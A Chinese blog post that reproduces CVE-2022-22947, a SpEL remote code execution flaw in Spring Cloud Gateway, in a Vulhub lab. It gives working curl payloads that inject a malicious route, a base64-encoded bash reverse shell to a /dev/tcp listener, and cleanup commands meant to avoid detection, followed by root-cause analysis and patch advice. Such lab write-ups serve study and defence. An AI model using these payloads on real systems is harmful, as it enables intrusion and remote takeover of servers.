1386 字
7 分钟
Spring Cloud Gateway SpEL RCE(CVE-2022-22947)复现

CVE-2022-22947 是 Spring Cloud Gateway 的远程代码执行漏洞,CVSS 10.0。Spring Cloud Gateway 内置 Actuator 运维管理模块,通过 /actuator/gateway/ 系列接口提供动态路由管理能力。当这些接口未授权暴露时,攻击者可通过 POST 请求添加新路由,在路由的 filters 参数中嵌入 SpEL(Spring Expression Language)表达式;网关刷新路由配置时会解析并执行该表达式,SpEL 具备直接调用 Java 底层类库(如 java.lang.Runtime)的能力且无沙箱限制,攻击者由此实现未授权远程代码执行。

复现基于 Vulhub 的 spring/CVE-2022-22947 靶场(Spring Cloud Gateway 3.1.0),覆盖端点探测、命令执行验证、反弹 Shell、清理现场四个阶段,并拆解 Actuator 暴露与 SpEL 注入的原理。

漏洞基础信息#

漏洞编号CVSS 评分影响版本漏洞类型
CVE-2022-2294710.0Spring Cloud Gateway 3.1.x < 3.1.1、3.0.x < 3.0.7 及更早不再维护的版本远程代码执行(RCE)

漏洞复现#

复现环境准备#

使用 Vulhub 快速搭建漏洞环境:

Terminal window
┌──(kali㿿kali)-[~]
└─$ apt install docker.io docker-compose # 安装 Docker 和 docker-compose
└─$ git clone https://github.com/vulhub/vulhub.git # 将 Vulhub 项目克隆到本地
└─$ cd vulhub/spring/CVE-2022-22947
└─$ docker-compose up -d # 拉取镜像并启动容器
└─$ docker ps # 确认容器启动状态
30edb836b199 vulhub/spring-cloud-gateway:3.1.0 "java -Djava.securit…" 9 minutes ago Up 9 minutes 0.0.0.0:5005->5005/tcp, :::5005->5005/tcp, 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp cve-2022-22947-spring-1

端口扫描与服务识别#

Terminal window
┌──(kali㿿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script "default,vulners" 192.168.31.148
# 扫描结果
PORT STATE SERVICE VERSION
8080/tcp open http Cloudflare http proxy
|_http-title: Example Domain
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: cloudflare
MAC Address: 00:0C:29:B3:23:74 (VMware)

Spring Cloud Gateway 的响应头特征和 Cloudflare 的部分特征重合,且网关本身是反向代理组件,nmap 的指纹库会将其误识别为 Cloudflare http proxy,并非真的有 Cloudflare 代理,也不影响漏洞利用。

探测网关路由端点#

Spring Cloud Gateway 的 RCE 依赖于 /actuator/gateway 端点的暴露。使用 curl 探测该路径是否存在:

Terminal window
┌──(kali㿿kali)-[~]
└─$ curl -i http://192.168.31.148:8080/actuator/gateway/routes
HTTP/1.1 200 OK
transfer-encoding: chunked
Content-Type: application/json
[{"predicate":"Methods: [GET]","route_id":"index","filters":[],"uri":"http://example.com:80","order":0}]

返回 200 OK 并包含 JSON 格式的路由列表,说明端点完全暴露,未授权访问漏洞存在。网关中已存在一个名为 index 的默认路由,它会将流量转发到 example.com。

如果返回 401 Unauthorized,说明有认证保护;返回 404 Not Found,说明端点未开启或路径被修改。

注入恶意路由执行命令#

向靶机发送 POST 请求,创建一个 ID 为 hack 的新路由,在 filters 中嵌入 SpEL 表达式执行 id 命令:

Terminal window
┌──(kali㿿kali)-[~]
└─$ curl -X POST http://192.168.31.148:8080/actuator/gateway/routes/hack \
-H "Content-Type: application/json" \
-d '{
"id": "hack",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"id\").getInputStream()))}"
}
}],
"uri": "http://example.com"
}'

仅仅添加路由不会执行 SpEL,必须通过 refresh 端点强制 Gateway 重新加载配置:

Terminal window
┌──(kali㿿kali)-[~]
└─$ curl -X POST http://192.168.31.148:8080/actuator/gateway/refresh \
-H "Content-Type: application/json" \
-d '{}'

访问刚才创建的路由详情,查看 id 命令的执行结果:

Terminal window
┌──(kali㿿kali)-[~]
└─$ curl http://192.168.31.148:8080/actuator/gateway/routes/hack
{"predicate":"RouteDefinitionRouteLocator$$Lambda$1145/1157700961","route_id":"hack","filters":["[[AddResponseHeader Result = 'uid=0(root) gid=0(root) groups=0(root)\n'], order = 1]"],"uri":"http://example.com:80","order":0}

结果中的 uid=0(root) 说明恶意路由已生效,Gateway 不仅解析了 SpEL 表达式,而且以 root 用户身份执行了系统命令 id。

反弹 Shell#

在攻击机上开启监听:

Terminal window
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444

构造 Base64 编码的反弹命令,为了规避 Java exec() 对特殊字符解析的问题,先在 Kali 上生成编码:

Terminal window
┌──(kali㿿kali)-[~]
└─$ echo "bash -i >& /dev/tcp/192.168.31.152/4444 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE1Mi80NDQ0IDA+JjEK

发送反弹 Shell Payload,修改 exec 参数注入新路由:

Terminal window
┌──(kali㿿kali)-[~]
└─$ curl -X POST http://192.168.31.148:8080/actuator/gateway/routes/shell \
-H "Content-Type: application/json" \
-d '{
"id": "shell",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/bash\",\"-c\",\"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE1Mi80NDQ0IDA+JjEK | base64 -d | bash\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}'

刷新并触发:

Terminal window
┌──(kali㿿kali)-[~]
└─$ curl -X POST http://192.168.31.148:8080/actuator/gateway/refresh -H "Content-Type: application/json" -d '{}'

nc 监听端收到反弹 Shell,容器 id 与靶机一致:

nc 收到反弹 Shell

清理现场#

利用完成后,删除残留路由,防止被其他安全设备检测或被他人二次利用:

Terminal window
┌──(kali㿿kali)-[~]
└─$ curl -X DELETE http://192.168.31.148:8080/actuator/gateway/routes/hack
└─$ curl -X DELETE http://192.168.31.148:8080/actuator/gateway/routes/shell
└─$ curl -X POST http://192.168.31.148:8080/actuator/gateway/refresh

漏洞核心原理#

Actuator 网关端点的未授权访问#

Spring Cloud Gateway 内置了名为 Actuator 的运维管理模块,它通过 /actuator/gateway/ 系列接口提供动态管理能力(如添加路由、查看状态)。在生产环境下,这些敏感接口应处于身份认证保护下。若运维配置不当(如为了调试方便而未配置权限校验),这些管理接口就处于未授权访问状态,攻击者无需任何账号密码即可直接调用。

动态路由配置支持 SpEL 表达式#

Gateway 设计上支持动态配置路由(无需重启服务),开发者可通过 POST 请求调用 /actuator/gateway/routes/{id} 接口添加路由,且路由配置的 filters(过滤器)、predicates(断言)参数支持 SpEL(Spring 表达式语言)。SpEL 使用 #{...} 的特殊格式,具备直接调用 Java 底层类库的能力。

SpEL 表达式无安全限制#

漏洞的本质在于 Gateway 在解析这些 SpEL 表达式时,没有进行任何安全过滤或环境隔离。SpEL 本身具备直接调用 java.lang.Runtime 等底层类库的能力,缺乏沙箱限制。当 Gateway 解析执行攻击者构造的表达式时,它不会区分这是一个简单的配置值还是危险的系统指令,网关进程会以自身的系统权限执行表达式中包含的代码。

修复方案#

  • 升级 Spring Cloud Gateway 至 3.1.1 / 3.0.7 或更高版本;
  • 无法立即升级时,确保 Actuator 端点不暴露在不可信网络中(配置 management.endpoint.gateway.enabled=false 或添加认证)。

参考链接#

Spring Cloud Gateway SpEL RCE(CVE-2022-22947)复现
https://blog.mal-suen.cn/posts/2022/05/103/
作者
Malcolm
发布于
2022-05-17
许可协议
CC BY-NC-SA 4.0